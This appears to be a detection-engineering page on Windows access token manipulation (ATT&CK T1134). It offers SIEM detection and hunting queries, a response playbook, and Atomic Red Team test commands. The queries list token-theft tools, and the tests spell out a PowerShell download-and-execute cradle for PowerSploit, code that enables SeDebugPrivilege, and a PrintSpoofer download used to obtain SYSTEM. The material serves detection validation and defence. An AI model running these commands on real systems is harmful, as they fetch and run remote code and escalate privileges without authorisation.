T1134

Access Token Manipulation

Defense Evasion Privilege Escalation Last updated:

Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. An adversary can use built-in Windows API functions to copy access tokens from existing processes (token stealing) and either apply them to an existing process or spawn a new one. An adversary must already be in a privileged user context to steal a token, but commonly uses token stealing to escalate from administrator to SYSTEM. Any standard user can use the runas command and Windows API functions to create impersonation tokens without administrator access.

What is T1134 Access Token Manipulation?

Access Token Manipulation (T1134) maps to the Defense Evasion and Privilege Escalation tactics — the adversary is trying to avoid being detected in MITRE ATT&CK.

This page provides production-ready detection logic for Access Token Manipulation, covering the data sources and telemetry it touches: Process: Process Creation, Windows Security Event Log, Microsoft Defender for Endpoint. The queries below are rated high severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Defense Evasion Privilege Escalation
Technique
T1134 Access Token Manipulation
Canonical reference
https://attack.mitre.org/techniques/T1134/
Microsoft Sentinel / Defender
kusto
let KnownTokenTools = dynamic([
  "juicypotato", "printspoofer", "sweetpotato", "godpotato",
  "roguewinrm", "rottenpotatong", "incognito", "tokenvator"
]);
let TokenManipulationAPIs = dynamic([
  "Invoke-TokenManipulation", "Get-SecurityToken", "DuplicateTokenEx",
  "OpenProcessToken", "AdjustTokenPrivileges", "CreateProcessWithToken",
  "ImpersonateLoggedOnUser", "SetThreadToken", "LogonUserW", "LogonUserA",
  "NtImpersonateThread", "Invoke-RunAs"
]);
let SuspiciousPrivileges = dynamic([
  "SeDebugPrivilege", "SeAssignPrimaryTokenPrivilege",
  "SeTcbPrivilege", "SeCreateTokenPrivilege"
]);
// Branch 1: Known token manipulation utilities
let KnownTools = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName has_any (KnownTokenTools)
    or FolderPath has_any (KnownTokenTools)
    or ProcessCommandLine has_any (KnownTokenTools)
| extend DetectionType = "KnownTokenTool"
| extend IsPotatoFamily = ProcessCommandLine has_any ("juicypotato", "printspoofer", "sweetpotato", "godpotato")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          InitiatingProcessAccountName, DetectionType, IsPotatoFamily;
// Branch 2: PowerShell invoking token manipulation APIs or frameworks
let PSTokenAbuse = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has_any (TokenManipulationAPIs)
    or ProcessCommandLine has_any (SuspiciousPrivileges)
| extend DetectionType = "PowerShellTokenAbuse"
| extend IsPotatoFamily = false
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          InitiatingProcessAccountName, DetectionType, IsPotatoFamily;
// Branch 3: Suspicious special privileges assigned to non-service user logon sessions
let PrivilegeEscalation = SecurityEvent
| where TimeGenerated > ago(24h)
| where EventID == 4672
| where SubjectUserName !endswith "$"
| where SubjectUserName !in~ ("SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE",
    "DWM-1", "DWM-2", "DWM-3", "UMFD-0", "UMFD-1")
| where PrivilegeList has "SeDebugPrivilege"
    or PrivilegeList has "SeAssignPrimaryTokenPrivilege"
    or PrivilegeList has "SeTcbPrivilege"
    or PrivilegeList has "SeCreateTokenPrivilege"
| extend DetectionType = "SuspiciousPrivilegeAssignment"
| extend IsPotatoFamily = false
| project Timestamp=TimeGenerated, DeviceName=Computer, AccountName=SubjectUserName,
          FileName="Security Event 4672", ProcessCommandLine=PrivilegeList,
          InitiatingProcessFileName="N/A",
          InitiatingProcessCommandLine=tostring(SubjectLogonId),
          InitiatingProcessAccountName="N/A", DetectionType, IsPotatoFamily;
union KnownTools, PSTokenAbuse, PrivilegeEscalation
| sort by Timestamp desc

Detects Access Token Manipulation using three behavioral branches. Branch 1 identifies known token theft utilities (JuicyPotato, PrintSpoofer, SweetPotato, GodPotato, Incognito) by process name or command line. Branch 2 identifies PowerShell invoking token manipulation APIs (DuplicateTokenEx, OpenProcessToken, AdjustTokenPrivileges, CreateProcessWithToken, ImpersonateLoggedOnUser) or frameworks like PowerSploit's Invoke-TokenManipulation. Branch 3 monitors Security Event ID 4672 for non-service accounts receiving high-risk privileges (SeDebugPrivilege, SeAssignPrimaryTokenPrivilege, SeTcbPrivilege) that are commonly abused to steal or forge tokens.

high severity high confidence

Data Sources

Process: Process Creation Windows Security Event Log Microsoft Defender for Endpoint

Required Tables

DeviceProcessEvents SecurityEvent

False Positives

  • Legitimate penetration testing tools or red team exercises using Invoke-TokenManipulation or JuicyPotato on authorized engagements
  • System administrators using runas or token manipulation for legitimate privileged tasks with corresponding change tickets
  • Security software (EDR agents, vulnerability scanners, PAM solutions) that legitimately hold SeDebugPrivilege for process inspection
  • Windows services running as NETWORK SERVICE or LOCAL SERVICE that receive SeImpersonatePrivilege by design (IIS application pools, SQL Server, etc.)
  • Domain controllers where SeDebugPrivilege is legitimately assigned to elevated administrator accounts

Sigma rule & cross-platform mapping

The detection logic for Access Token Manipulation (T1134) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Invoke-TokenManipulation via PowerSploit

    Expected signal: Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'Invoke-TokenManipulation' and 'Net.WebClient'. Sysmon Event ID 3: Network connection to raw.githubusercontent.com. PowerShell ScriptBlock Log Event ID 4104 with the full Invoke-TokenManipulation script content after download. Security Event 4672 may fire if the token enumeration triggers a privilege check.

  2. Test 2AdjustTokenPrivileges — Enable SeDebugPrivilege via PowerShell

    Expected signal: Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'AdjustTokenPrivileges', 'OpenProcessToken', 'LookupPrivilegeValue', and 'SeDebugPrivilege'. PowerShell ScriptBlock Log Event ID 4104 with the P/Invoke code. Security Event 4672 may fire once the privilege adjustment is applied to the current process token.

  3. Test 3PrintSpoofer — SeImpersonatePrivilege Abuse to SYSTEM

    Expected signal: Sysmon Event ID 1: Process Create for PrintSpoofer64.exe with CommandLine '-i -c whoami'. Sysmon Event ID 1: Child process cmd.exe or whoami.exe spawned from PrintSpoofer64.exe running as NT AUTHORITY\SYSTEM. System Event 7045 (Service Control Manager): a transient service briefly installed by PrintSpoofer to coerce the spooler token. Sysmon Event ID 3: Named pipe connection from PrintSpoofer to the spooler pipe.

  4. Test 4RunAs with Explicit Credentials — Token Creation via LogonUser

    Expected signal: Security Event 4648: Logon Using Explicit Credentials — records the calling process (cmd.exe), the target account (testuser), and the logon GUID. Security Event 4624: New Logon with LogonType=2 (interactive) for the new session. Sysmon Event ID 1: cmd.exe spawned with runas as parent, running in the context of testuser. Security Event 4672 if testuser holds special privileges.


Response Playbook

Triage

  1. Identify which detection branch fired: known tool (KnownTokenTool), PowerShell API abuse (PowerShellTokenAbuse), or privilege assignment anomaly (SuspiciousPrivilegeAssignment). Each requires a different triage path.
  2. For KnownTokenTool alerts: immediately determine the file hash of the binary (JuicyPotato, PrintSpoofer, etc.) and cross-reference with VirusTotal. Check where the binary landed on disk — temp directories, user profile paths, or dropped by a parent process are high-confidence malicious indicators.
  3. For PowerShellTokenAbuse alerts: decode any Base64 content in the command line. Identify the parent process that spawned PowerShell — was it a web server (w3wp.exe, httpd.exe), a document opened via Office, or a scheduled task? Web server parentage with Invoke-TokenManipulation is critical severity.
  4. For SuspiciousPrivilegeAssignment alerts: query Security Event 4624 for the logon session ID (SubjectLogonId from Event 4672) to identify the logon type, source IP, and authentication method. LogonType 2 (interactive) or 3 (network) from an unexpected source is suspicious; LogonType 5 (service) for legitimate services is typically benign.
  5. Determine the account context: is the triggering account a standard user, local administrator, domain admin, or service account? Token manipulation from a standard user account with SeImpersonatePrivilege abuse (potato exploits) indicates a privilege escalation chain.
  6. Check the process tree: what process spawned the token manipulation activity? Use DeviceProcessEvents or Sysmon logs to trace back through the parent chain. Web shell → cmd.exe → JuicyPotato is a classic post-exploitation chain.
  7. Look for follow-on indicators within 15 minutes of the alert: new processes running as SYSTEM from unusual parents, new service installation (Event 7045), scheduled task creation, or outbound network connections to non-corporate IPs.

Containment

  1. If potato exploit (JuicyPotato, PrintSpoofer, etc.) detected with SYSTEM privilege confirmed: immediately isolate the endpoint from the network using EDR isolation or emergency VLAN assignment to prevent lateral movement.
  2. If the token manipulation was preceded by web application activity (w3wp.exe, python, php): take the web application offline or block the specific endpoint at the WAF/load balancer level while investigation proceeds.
  3. Kill the offending process (JuicyPotato, malicious PowerShell) and any child processes it spawned using SYSTEM context. Use the EDR console for remote process termination.
  4. Reset credentials for any accounts impersonated during the attack. If SYSTEM was obtained, assume all local credentials are compromised — rotate local administrator passwords using LAPS if deployed.
  5. If domain credential exposure is suspected (Mimikatz token manipulation to access domain accounts): escalate to Active Directory team for immediate Kerberos ticket invalidation (krbtgt password reset if Golden Ticket is suspected).
  6. Preserve the endpoint before remediation — take a memory snapshot if possible. Token manipulation artifacts are volatile and only visible in live memory or process access event logs.

Evidence Collection

  1. Security Event 4672 — Special Privileges Assigned to New Logon: captures the logon session ID, account, and privilege list. Use the SubjectLogonId to pivot to Event 4624 for the corresponding logon source.
  2. Security Event 4624 — Account Logon: identifies the logon type (field LogonType), source IP (IpAddress), and authentication method. Correlate with 4672 using LogonId field.
  3. Security Event 4648 — Logon Using Explicit Credentials: fired when RunAs or token creation via LogonUser API is used with explicit credentials. Captures target account and source process.
  4. Security Event 4688 — Process Creation (with command-line auditing enabled): records process creation with full token context. Requires 'Audit Process Creation' and 'Include command line in process creation events' GPO.
  5. Sysmon Event ID 10 — Process Access: records when one process opens a handle to another. If Sysmon is configured with ProcessAccess rules, LSASS access attempts from unexpected processes will appear here. Fields: SourceImage, TargetImage, GrantedAccess.
  6. Sysmon Event ID 1 — Process Create: full process creation details including parent, user, integrity level (if SysmonConfig includes IntegrityLevel in output schema), and command line.
  7. Memory artifacts: dump of the attacking process using tools like ProcDump or the EDR's memory capture feature. Token handles and privilege lists are visible in process memory via the EPROCESS structure.
  8. Prefetch files: C:\Windows\Prefetch\JUICYPOTATO.EXE-*.pf, PRINTSPOOFER.EXE-*.pf, or other tool prefetch entries confirm execution on systems where Prefetch is enabled.
  9. Windows Event Log: System log Event 7045 (Service Control Manager) — if the attacker used a service-based potato technique, a new service will have been installed transiently.

Escalation Criteria

  • ! SYSTEM-level process spawned from a web server process (w3wp.exe, java.exe, python.exe) via token manipulation — this is a confirmed web shell to SYSTEM privilege escalation.
  • ! Invoke-TokenManipulation or Mimikatz token modules detected alongside credential dumping indicators (LSASS access, comsvcs.dll MiniDump) — full domain compromise scenario.
  • ! Potato exploit (JuicyPotato, PrintSpoofer) detected on a domain-joined server running IIS, SQL, or a CI/CD agent — high risk of domain privilege escalation.
  • ! Token manipulation activity detected on a domain controller — any unauthorized SYSTEM or high-privilege token on a DC is a critical incident requiring immediate AD team involvement.
  • ! Multiple endpoints showing token manipulation patterns within a short window — indicates automated lateral movement or worm-like propagation using stolen tokens.
  • ! SeAssignPrimaryTokenPrivilege or SeTcbPrivilege appearing on a non-service, non-administrator account — these privileges allow creating arbitrary tokens and are virtually never legitimate on standard accounts.

Investigation Guide

Forensic Artifacts

  • > Registry: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\TokenLeakDetectDelaySecs — presence indicates token leakage detection is configured (baseline value)
  • > Registry: HKLM\SYSTEM\CurrentControlSet\Services\<service_name> — transient service entries created by JuicyPotato/PrintSpoofer (deleted after use but may appear in VSS snapshots)
  • > File System: %TEMP%\<random>.exe, %USERPROFILE%\Downloads\juicypotato.exe — common staging locations for token manipulation binaries
  • > File System: C:\Windows\Prefetch\JUICYPOTATO.EXE-*.pf, PRINTSPOOFER.EXE-*.pf, SWEETPOTATO.EXE-*.pf — execution evidence on systems with Prefetch enabled
  • > Windows Event Log: Security log Event IDs 4672, 4624, 4648, 4688 — logon and privilege assignment correlated by LogonId
  • > Windows Event Log: System log Event 7045 — Service Installed (potato exploits install a transient service to abuse SeImpersonatePrivilege via a named pipe)
  • > Windows Event Log: Microsoft-Windows-PrintSpooler/Admin — PrintSpoofer abuses the print spooler; anomalous spooler events may appear here
  • > Memory: Process handle table of the attacking process — open handles to SYSTEM-level processes (lsass.exe, services.exe, winlogon.exe) indicate token stealing in progress
  • > Named pipes: \\.\pipe\<random> — potato exploits create named pipes to trick privileged COM servers into connecting, transferring their token to the attacker process

Tuning Guidance

The highest false positive source for this detection is legitimate Windows services that hold SeImpersonatePrivilege — IIS application pools (running as IIS_IUSRS or NETWORK SERVICE), SQL Server, WCF services, and COM+ applications all legitimately hold this privilege. For Branch 3 (privilege assignment), build an allowlist of service account names that are expected to receive SeImpersonatePrivilege and exclude them. Never exclude the privilege pattern itself — only specific account-to-privilege combinations. For Branch 2 (PowerShell token APIs), note that security software, PAM solutions, and legitimate administrative tools may invoke OpenProcessToken or AdjustTokenPrivileges. Tune by adding known-good parent process + command line pairs. For Branch 1 (known tools), false positive rates should be near zero — any match for JuicyPotato, PrintSpoofer, or similar tools should be treated as high-confidence. Enable Security Event 4688 with command-line auditing (GPO: Administrative Templates > System > Audit Process Creation > Include command line in process creation events) and configure Sysmon with process access rules targeting lsass.exe to enhance token theft detection beyond what this query captures. Consider requiring two indicators to co-occur before alerting in low-noise environments: e.g., privilege assignment (4672) AND a new service installed (7045) within 5 minutes on the same host.


Hunting Queries

Hunt for processes running as SYSTEM where the initiating (parent) process was NOT a known Windows system process. This pattern indicates a standard or administrator process used token theft or CreateProcessWithToken to spawn a SYSTEM-level child process — a hallmark of potato exploits and Invoke-TokenManipulation.

Hunting — KQL
kql
// Hunt for processes that spawned as SYSTEM from a non-SYSTEM parent
// Indicates potential token theft or CreateProcessWithToken abuse
DeviceProcessEvents
| where Timestamp > ago(7d)
| where AccountName =~ "SYSTEM"
| where InitiatingProcessAccountName !in~ ("SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE")
| where InitiatingProcessFileName !in~ (
    "services.exe", "wininit.exe", "smss.exe", "csrss.exe",
    "lsass.exe", "svchost.exe", "winlogon.exe", "msiexec.exe",
    "TrustedInstaller.exe", "taskhost.exe", "taskhostw.exe"
)
| project Timestamp, DeviceName, FileName, ProcessCommandLine, AccountName,
          InitiatingProcessFileName, InitiatingProcessAccountName, InitiatingProcessCommandLine
| sort by Timestamp desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
| eval ParentUser=ParentUser
| eval ProcessUser=User
| where match(lower(ProcessUser), "system") AND NOT match(lower(ParentUser), "(system|local service|network service)")
| where NOT match(lower(ParentImage), "(services\.exe|wininit\.exe|smss\.exe|csrss\.exe|lsass\.exe|svchost\.exe|winlogon\.exe|msiexec\.exe|trustedinstaller\.exe|taskhostw?\.exe)")
| table _time, host, ProcessUser, Image, CommandLine, ParentUser, ParentImage, ParentCommandLine
| sort - _time

Hunt for accounts that received SeDebugPrivilege or SeAssignPrimaryTokenPrivilege (Event 4672) on interactive or network logon sessions originating from a non-local source IP. Correlates privilege assignment with logon source to identify cases where a remote attacker's session gained token-manipulation-enabling privileges — a strong indicator of token forgery or impersonation attacks from external access.

Hunting — KQL
kql
// Hunt for Security Event 4672 (special privileges) correlated with unusual logon sources
// Focuses on interactive or network logons (not service logons) receiving debug or token privileges
let PrivilegeLogons = SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4672
| where SubjectUserName !endswith "$"
| where SubjectUserName !in~ ("SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE")
| where PrivilegeList has "SeDebugPrivilege" or PrivilegeList has "SeAssignPrimaryTokenPrivilege"
| project LogonId=SubjectLogonId, AccountName=SubjectUserName, Computer, Privileges=PrivilegeList, PrivilegeTime=TimeGenerated;
let LogonDetails = SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4624
| where LogonType in (2, 3, 10)  // Interactive, Network, Remote Interactive
| project LogonId=TargetLogonId, LogonType, IpAddress, AuthPackage=AuthenticationPackageName, LogonTime=TimeGenerated;
PrivilegeLogons
| join kind=leftouter LogonDetails on LogonId
| where isnotempty(IpAddress)
| where IpAddress !in~ ("127.0.0.1", "::1", "-")
| project PrivilegeTime, Computer, AccountName, Privileges, LogonType, IpAddress, AuthPackage
| sort by PrivilegeTime desc
Hunting — SPL
spl
index=wineventlog sourcetype="WinEventLog:Security"
| eval LogonId=SubjectLogonId
| eval EventType=case(
    EventCode=4672, "PrivilegeAssign",
    EventCode=4624, "Logon",
    true(), "other")
| where EventCode IN (4672, 4624)
| where NOT match(SubjectUserName, "\\$$") AND NOT match(lower(SubjectUserName), "(system|local service|network service)")
| stats values(EventCode) as Events, values(SubjectUserName) as Account, values(PrivilegeList) as Privileges,
  values(LogonType) as LogonTypes, values(IpAddress) as SourceIPs by host, SubjectLogonId
| where mvfind(Events, "4672") >= 0 AND mvfind(Events, "4624") >= 0
| where mvfind(Privileges, "(?i)sedebugprivilege") >= 0 OR mvfind(Privileges, "(?i)seassignprimarytokenprivilege") >= 0
| where NOT mvfind(SourceIPs, "(127\.0\.0\.1|-|::1)") >= 0
| table host, Account, Privileges, LogonTypes, SourceIPs, SubjectLogonId

Hunt for the temporal correlation between suspicious process execution (non-SYSTEM processes using named pipe patterns or potato-style arguments) and transient service installation (Security/System Event 7045). Potato exploits (JuicyPotato, PrintSpoofer) commonly install a short-lived service to abuse SeImpersonatePrivilege — detecting this event pair within a short time window is a high-fidelity indicator of token impersonation via COM server coercion.

Hunting — KQL
kql
// Hunt for named pipe connections from unexpected processes to privileged COM servers
// Potato exploits use named pipes to coerce privileged impersonation tokens
// Looks for file events on suspicious named pipe patterns alongside service creation
let PotatoPipeWindow = 5m;
let NewServices = SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 7045  // New service installed
| project ServiceTime=TimeGenerated, Computer, ServiceName=ServiceName, ServiceImagePath=ServiceImagePath;
let SuspiciousProcesses = DeviceProcessEvents
| where Timestamp > ago(7d)
| where AccountName !in~ ("SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE")
| where ProcessCommandLine has_any ("-t *", "-p cmd", "-p powershell", "\\pipe\\")
| project ProcTime=Timestamp, DeviceName, FileName, ProcessCommandLine, AccountName;
SuspiciousProcesses
| join kind=inner (NewServices | project-rename DeviceName=Computer) on DeviceName
| where abs(datetime_diff('minute', ProcTime, ServiceTime)) <= toint(PotatoPipeWindow/1m)
| project ProcTime, DeviceName, AccountName, FileName, ProcessCommandLine, ServiceName, ServiceImagePath
| sort by ProcTime desc
Hunting — SPL
spl
index=wineventlog sourcetype="WinEventLog:System" EventCode=7045
| eval ServiceInstallTime=_time
| rename host as target_host
| join type=inner max=5 target_host [
    search index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
      NOT (User="NT AUTHORITY\\SYSTEM" OR User="NT AUTHORITY\\LOCAL SERVICE" OR User="NT AUTHORITY\\NETWORK SERVICE")
      (CommandLine="*-t **" OR CommandLine="*\\pipe\\*" OR CommandLine="*-p cmd*" OR CommandLine="*-p powershell*")
    | eval ProcTime=_time
    | rename host as target_host
    | table target_host, ProcTime, Image, CommandLine, User
]
| eval TimeDelta=abs(ServiceInstallTime - ProcTime)
| where TimeDelta < 300
| table _time, target_host, User, Image, CommandLine, ServiceName, ServiceFileName, TimeDelta
| sort - _time

Atomic Red Team Tests

Test 1 Invoke-TokenManipulation via PowerSploit
windows

Downloads and executes PowerSploit's Invoke-TokenManipulation module to enumerate available tokens on the system. This simulates the technique used by Empire, FIN6, and other threat actors to identify and steal high-privilege tokens. The test lists available tokens without actually applying one, keeping impact minimal while generating detection telemetry.

Command

powershell
powershell.exe -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-TokenManipulation.ps1'); Invoke-TokenManipulation -Enumerate"

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'Invoke-TokenManipulation' and 'Net.WebClient'. Sysmon Event ID 3: Network connection to raw.githubusercontent.com. PowerShell ScriptBlock Log Event ID 4104 with the full Invoke-TokenManipulation script content after download. Security Event 4672 may fire if the token enumeration triggers a privilege check.

Expected Detection

Alert fires on PowerShellTokenAbuse branch matching 'Invoke-TokenManipulation' in command line. Also triggers DownloadCradle pattern if T1059.001 detection is running in parallel. KQL: DetectionType='PowerShellTokenAbuse'. SPL: IsPSTokenAbuse=1.

Test 2 AdjustTokenPrivileges — Enable SeDebugPrivilege via PowerShell
windows

Uses PowerShell and .NET P/Invoke to call the native AdjustTokenPrivileges Windows API to enable SeDebugPrivilege on the current process. This simulates the technique used by HermeticWiper, SUNSPOT, AppleSeed, and Cuba ransomware to elevate process privileges before performing token theft or LSASS access. Requires administrator context.

Command

powershell
powershell.exe -Command "$code = @'
using System;
using System.Runtime.InteropServices;
public class TokenPriv {
  [DllImport(\"advapi32.dll\", SetLastError=true)] public static extern bool OpenProcessToken(IntPtr h, uint acc, out IntPtr tok);
  [DllImport(\"advapi32.dll\", SetLastError=true)] public static extern bool LookupPrivilegeValue(string sys, string priv, out long luid);
  [DllImport(\"advapi32.dll\", SetLastError=true)] public static extern bool AdjustTokenPrivileges(IntPtr tok, bool dis, ref TOKEN_PRIVILEGES tp, uint buf, IntPtr prev, IntPtr retlen);
  [StructLayout(LayoutKind.Sequential)] public struct LUID_AND_ATTRS { public long Luid; public uint Attrs; }
  [StructLayout(LayoutKind.Sequential)] public struct TOKEN_PRIVILEGES { public uint Count; public LUID_AND_ATTRS Privilege; }
}
'@
Add-Type $code
$tp = New-Object TokenPriv+TOKEN_PRIVILEGES
$tp.Count = 1
$tp.Privilege = New-Object TokenPriv+LUID_AND_ATTRS
[TokenPriv]::LookupPrivilegeValue($null, 'SeDebugPrivilege', [ref]$tp.Privilege.Luid)
$tp.Privilege.Attrs = 0x00000002
$hToken = [IntPtr]::Zero
[TokenPriv]::OpenProcessToken([System.Diagnostics.Process]::GetCurrentProcess().Handle, 0x28, [ref]$hToken)
[TokenPriv]::AdjustTokenPrivileges($hToken, $false, [ref]$tp, 0, [IntPtr]::Zero, [IntPtr]::Zero)
Write-Host 'SeDebugPrivilege enabled'"

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'AdjustTokenPrivileges', 'OpenProcessToken', 'LookupPrivilegeValue', and 'SeDebugPrivilege'. PowerShell ScriptBlock Log Event ID 4104 with the P/Invoke code. Security Event 4672 may fire once the privilege adjustment is applied to the current process token.

Expected Detection

Alert fires on PowerShellTokenAbuse branch matching 'AdjustTokenPrivileges', 'OpenProcessToken', and 'SeDebugPrivilege' in command line. KQL: DetectionType='PowerShellTokenAbuse'. SPL: IsPSTokenAbuse=1.

Test 3 PrintSpoofer — SeImpersonatePrivilege Abuse to SYSTEM
windows

Downloads and executes PrintSpoofer, a tool that exploits the Windows Print Spooler named pipe impersonation to abuse SeImpersonatePrivilege and obtain a SYSTEM token. This technique is used by Blue Mockingbird and other threat actors targeting web application service accounts (IIS, SQL Server) that hold SeImpersonatePrivilege. Must be run from a service account context (e.g., IIS application pool) for full effect. In a test environment, run as a low-privilege account with SeImpersonatePrivilege.

Command

powershell
powershell.exe -Command "Invoke-WebRequest -Uri 'https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe' -OutFile $env:TEMP\PrintSpoofer64.exe"; cmd.exe /c "%TEMP%\PrintSpoofer64.exe -i -c whoami"

Cleanup

powershell
Remove-Item $env:TEMP\PrintSpoofer64.exe -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: Process Create for PrintSpoofer64.exe with CommandLine '-i -c whoami'. Sysmon Event ID 1: Child process cmd.exe or whoami.exe spawned from PrintSpoofer64.exe running as NT AUTHORITY\SYSTEM. System Event 7045 (Service Control Manager): a transient service briefly installed by PrintSpoofer to coerce the spooler token. Sysmon Event ID 3: Named pipe connection from PrintSpoofer to the spooler pipe.

Expected Detection

Alert fires on KnownTokenTool branch matching 'printspoofer' in filename. The spawned SYSTEM process from a non-SYSTEM parent also triggers the hunting query for unexpected SYSTEM process parentage. KQL: DetectionType='KnownTokenTool'. SPL: IsKnownTokenTool=1.

Test 4 RunAs with Explicit Credentials — Token Creation via LogonUser
windows

Uses the runas command with explicit credentials to create a new logon session with a different security token. This simulates the Make and Impersonate Token sub-technique (T1134.003) where an adversary who has obtained credentials creates a new token via LogonUser API (wrapped by runas) to run processes under a different user context. Generates Security Event 4648 (explicit credential logon) and potentially 4624 (new logon).

Command

powershell
cmd.exe /c "runas /user:DOMAIN\\testuser /savecred cmd.exe /c whoami > %TEMP%\runas-test.txt 2>&1"

Cleanup

powershell
del %TEMP%\runas-test.txt 2>nul

Expected Telemetry

Security Event 4648: Logon Using Explicit Credentials — records the calling process (cmd.exe), the target account (testuser), and the logon GUID. Security Event 4624: New Logon with LogonType=2 (interactive) for the new session. Sysmon Event ID 1: cmd.exe spawned with runas as parent, running in the context of testuser. Security Event 4672 if testuser holds special privileges.

Expected Detection

Alert fires if testuser holds SeDebugPrivilege or other monitored privileges (Branch 3 / SuspiciousPrivilegeAssignment). The 4648 event is captured by the PrivilegeEscalation hunting query when correlated with logon source. Analysts should baseline legitimate runas usage in the environment to tune alert thresholds.

Related Detections